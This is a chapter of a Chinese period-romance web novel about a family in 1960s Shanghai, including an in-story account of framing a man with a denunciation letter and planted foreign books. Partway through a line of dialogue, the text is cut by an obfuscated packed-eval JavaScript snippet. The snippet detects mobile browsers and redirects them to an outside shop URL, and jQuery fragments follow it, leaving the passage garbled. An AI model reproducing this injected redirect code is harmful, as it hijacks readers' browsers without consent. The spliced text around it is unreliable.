8. 第 8 章

作品:《三线人家[年代]

    姜定知面前的桌上摊开一方手画的棋盘,白纸墨线勾勒出纵横交错的线条。他捻起一枚墨竹打磨圆润的棋子,指尖感受着棋上的纹路,悬停在棋盘上空,似在思索,又似在享受这片刻的静谧时光。


    “对砸伤言言的那人出手了?”他落下一子。


    谢稷放下搪瓷缸,在他对面坐下,取出粗瓷罐里的一枚白竹棋子,紧跟一子。


    “他太贪了,我让人给革/委/会送了一封举报信。”在姜定知面前,谢稷从不掩饰自己的真性情!


    小时候他便知道在这位睿智的长者面前,掩饰不了,索性也就摊开了。


    姜定知轻撩眼皮瞅他一眼:“只这?”


    “顺便往他家送了几本外文书。”


    姜定知轻笑:“他可不是什么读书人。”底层生活的痕迹太重。


    谢稷没说话,一时之间,屋内只听到落子声。


    “谢稷,处事可以凌厉,但不能太过狠辣。行事太过让人惧怕,你周边的朋友也就处不长了,一个人行来,哪能没有三五知交好友?不然,就太过孤寂了。”


    谢稷悬在棋盘上的手一顿,什么也没说,只缓缓落下一子,与棋盘上的其他棋子形成新的布局。


    姜定知看看棋盘,再看看他,无言地朝他摆摆手。


    谢稷起身离开,轻手轻脚地推开了南房的门。


    月光透过钢窗洒落一地银白。


    缓步走到床边,谢稷伸手拧开台灯,看向床内。


    隔着蚊帐,一片朦胧。


    隐约可见,言言乌黑的长发铺了满枕,天热,印花纯棉睡裙卷起,寸寸细白的肌肤一览无余地展露在眼前。


    双目似被蜇了一下,谢稷慌忙移开。


    缓了缓,伸手撩开蚊帐一角,将床里睡得横七竖八的儿子抱出,送去隔壁。


    轻轻放在老爷子床上,小毯子搭在腹部,掖好蚊帐。


    还在琢磨棋局的姜定知:“……言言身子弱,你这几天老实点!”


    谢稷耳尖一热,不自在地轻咳一声:“我媳妇我心疼!”都是体面人,非把话说这么直白干嘛?


    “哦,你媳妇——”姜定知轻哼,语气里带了嘲笑:“言言记得你是她爱人吗?”


    老爷子是懂得怎么一箭穿心的!


    谢稷闷头就走,再搭理这糟老头子,他是猪!


    姜言饭后吃了片消炎药,轻微的乏力、困倦感袭来,睡得早也睡得沉。


    谢稷什么时候回来的?又是什么时候睡在身边的?全然不知。


    半夜迷迷糊糊热醒,身上似套了成枷锁,缠得紧。


    姜言一把将揽在腰间的手臂扯开,翻身滚进床里,脸蛋贴在浸凉的竹席上,才觉得舒服了几分。


    很快,那只手又伸了过来,姜言烦躁地将其挥开,一脚朝后踹了过去。


    好似听到了一声闷哼,也可能是声低沉的笑。


    不确定。


    再醒来,已是天光大亮,屋里静悄悄的,只她一个。


    摸索着寻到写字台上的手表,抓起来一看,六点多。


    一骨碌坐起来,看向堆放行李的地方——还在。


    微微松了口气,她怕谢稷连皮箱一起给办了托运,它里面可不只照片、证件和存折,还有姆妈留给她的首饰,走托运多不安全啊!


    姜言刚要穿鞋下床,门开了,谢稷额发半湿地拿着洗漱用品进来:“醒了。”


    双脚飞快缩回,姜言将卷到大腿的睡裙往下扯平,局促地“嗯”了声:“慕慕呢?”


    “跟爷爷去食堂买饭了。”谢稷放下盆,将毛巾晾上,转身出去道,“你先起床洗漱,我去接接他们。”


    “好。”姜言等人将门带上,忙一撩蚊帐下床穿鞋、换衣,拿上东西去卫生间洗漱。


    匆匆走到卫生间门口,姜言脚步一顿,里面有人。


    看清了,是北房卫教授家的小女儿——卫淑华。


    卫家有一对双胞胎姐妹花,分别是淑莲、淑华,二人虽比姜言大几个月,上学却是中规中矩。这就导致,运动来时,姜言大学毕业都工作一年了,她们还在读高三。


    前天听二姐说,68年,卫生局要招一批定向培养生去卫校学习,卫教授通过亲戚拿到一份招生名额;一通挣闹,姐姐淑莲拎着行李去了卫校,到淑华就没这么幸运了,分去了崇明农场,这还是她爸妈暗中活动争取到的。


    “淑华姐,早。什么时候回来的?”


    卫淑华穿着件她姆妈的玫红色印花旧睡裙,头发蓬乱地站在盥洗台前刷牙,闻言扭头看来,“言言啊,”她往旁边让了让,“昨晚到家的,太晚了,就没去找你。听姆妈说,你因我家的事,被人砸伤了额头,不要紧吧?”


    “咕噜咕噜”漱了漱口,她凑近了看,纱布不知什么时候被姜言在睡梦中扯掉了,红肿的一道鼓包,张牙舞爪地趴着几条黑线,搭眼一看,还以为额上卧了条多足蜈蚣呢。


    姜言抬眸看向镜中,挺难看的。


    “不会留疤吧?”卫淑华担心道。


    “没事,回头我剪些刘海下来,一遮就看不到了。再说,我都结婚了,留疤也不怕。”


    卫淑华“扑哧”乐了:“言言,你一点也没变,还跟以前一样,开朗乐观!我要是你这性格就好了。”


    也不至于,在明知挣不到的情况下,还跟姐姐闹得那么凶,让爹爹姆妈的两颗心更偏向卫淑莲,什么都紧着她。


    姜言拍拍她的肩,安慰道:“你一直都很好!”


    卫淑华苦涩地扯了下唇,拧开水龙头接了一捧水捂在脸上,一股股热意顺着眼睫滑入掌中,再顺流而下,落在盥洗池里消失不见。


    姜言见她没带洗脸的,将自己的檀香皂递了过去。


    卫淑华头也没抬地接了,翁声翁气地道了声谢。


    正洗着呢,卫淑莲抱着孩子,身后跟着拎着大包小包的丈夫步上楼来,瞬间外面便都是她的声音了:“爹爹、姆妈,我带盼盼和东升来看你们啦,快来接接你们的心肝小乖囡。”


    “哎哟,来了来了,大早上的嚷嚷什么,也不怕吵着人。”季秋芬迎了出来,张手接过外孙女,轻拍了女儿一记:“就你嗓门大!”


    瞟了后面的女婿一眼,季秋芬狐疑道:“今天不用上班吗?”


    卫淑莲余光扫过卫生间的淑华,扬声笑道:“不是听你说,小妹今天回来吗。两三年没见了,光你和爹爹想她呀,我就不想?”


    季秋芬脸一板,虎声道:“你们是双胞胎,自小好得跟一个人似的,谁说你不想了!”


    卫淑莲抱着姆妈的胳膊扭了扭,娇笑道:“还是姆妈懂我!”


    “你看,”她指着丈夫两手提的小菜,“一早我让东升去菜场买的,全是妹妹爱吃的。中午你可不准跟我抢灶台,华华最喜欢吃我烧的白灼河虾、红烧狮子头了。”


    “这么折腾干嘛,有肉吃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004240|193999||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就不错了……”


    姜言同情地看了颓丧得垂头塌肩的卫淑华一眼,刷牙洗脸。


    “我不该回来的。”半晌,卫淑华轻声喃道。


    姜言用毛巾轻轻拭过额头,看着镜中的她道:“这里是你家!”


    想了想,姜言还是劝了一句:“淑华姐,会哭的孩子有糖吃。”


    卫淑华何尝不知道,只是她性子硬,习惯了泪往心里流。


    “我说的‘哭’,不一定要流泪,”姜言放下毛巾,抓起她的手腕,点点她掌心的层层老茧:“多提提你在农场的生活。”


    插秧、割稻、挑担、挖河修渠……住的是石棉瓦搭的棚屋,吃的是粗粮咸菜。


    两相一对比,卫教授夫妻还能继续心安理得地偏心下去吗?


    “言言,洗漱好了吗,吃饭了。”谢稷抱着儿子在外唤道。


    姜言飞快地收拾了东西,抱着盆往外走道:“来了。”


    卫淑华看着姜言的背影,满目都是羡慕,二楼住的就他们两家,同是小女儿,生活怎么就差这么多呢?


    “慕慕,早。”姜言捏捏慕言的小脸,笑道,“你跟太公去食堂,买了什么早餐呀?”


    慕言掰着小手一道道数道:“黄窝窝,白馒头,小米粥,拌瓜。”


    谢稷解释道:“玉米面窝头,凉拌黄瓜。怕营养不够,爷爷回来后,去厨房给你和慕言各蒸了碗鸡蛋羹。”


    “那我要多吃些了。”姜言笑道。


    谢稷放下儿子,去拿医药箱:“你先坐,我找药给你额上擦擦。”


    姜言放好东西,对镜照了照,“擦点酒精消消毒就好了吧?不用再覆纱布了。”


    慕言仰脸担心道:“姆妈,疼吗?我给你呼呼~”


    姜言蹲下,扶着他的小腰笑道:“好呀。”


    慕言嘟着嘴,凑近了吹气,“噗——噗——”


    口水喷了姜言一脸。


    姜言:“……”突然就觉慈母也不是那么想当了。


    谢稷提着医药箱过来,看得想笑。


    慕言见爸爸过来,忙搬了他的小板凳往姆妈屁股下塞:“姆妈,乖乖啊,坐好,让爸爸给你擦药。”


    姜言抬臀坐下,仰脸,等谢稷消毒上药。


    谢稷看着她莹白的小脸,嫩生生的似枝头的鲜桃,眸色暗了暗,昨晚印在上面的触感,好似还在唇间萦绕。


    收了收心神,打开医药箱,镊子夹了棉球蘸上酒精,指尖轻托她下巴,握着镊子的手轻轻一动,划过额上的伤口……


    姜言眼睫轻颤,一时不知是额上凉些,还是谢稷托在下巴上的指尖更凉。


    消过毒,上好药,重新覆上薄纱布,收拾好东西,一家三口去隔壁。


    饭菜已经摆好,姜言在爷爷身旁坐下,端起鸡蛋羹分了一半给他。


    姜定知没有跟孙女争让,端起碗就吃,一碗鸡蛋羹罢了,想吃再蒸,又不是吃不起。


    慕言看看姆妈,再看看太公,将自己的小碗朝爸爸推了推:“分。”


    谢稷没客气,挖了两勺放在面前的碟子里,鸡蛋羹清淡,他嫌不够味,端起拌黄瓜的盘子,倒了些汁水进去。


    一餐饭吃完,谢稷收拾了碗筷下楼去洗,慕言被对面叫去,跟盼盼玩儿。姜定知拉开书桌的抽屉,从中取出一个存折,递给姜言:“江城不比沪市繁华,什么都能买到。等会儿你们合计一下,看看还缺什么,买齐了带过去。”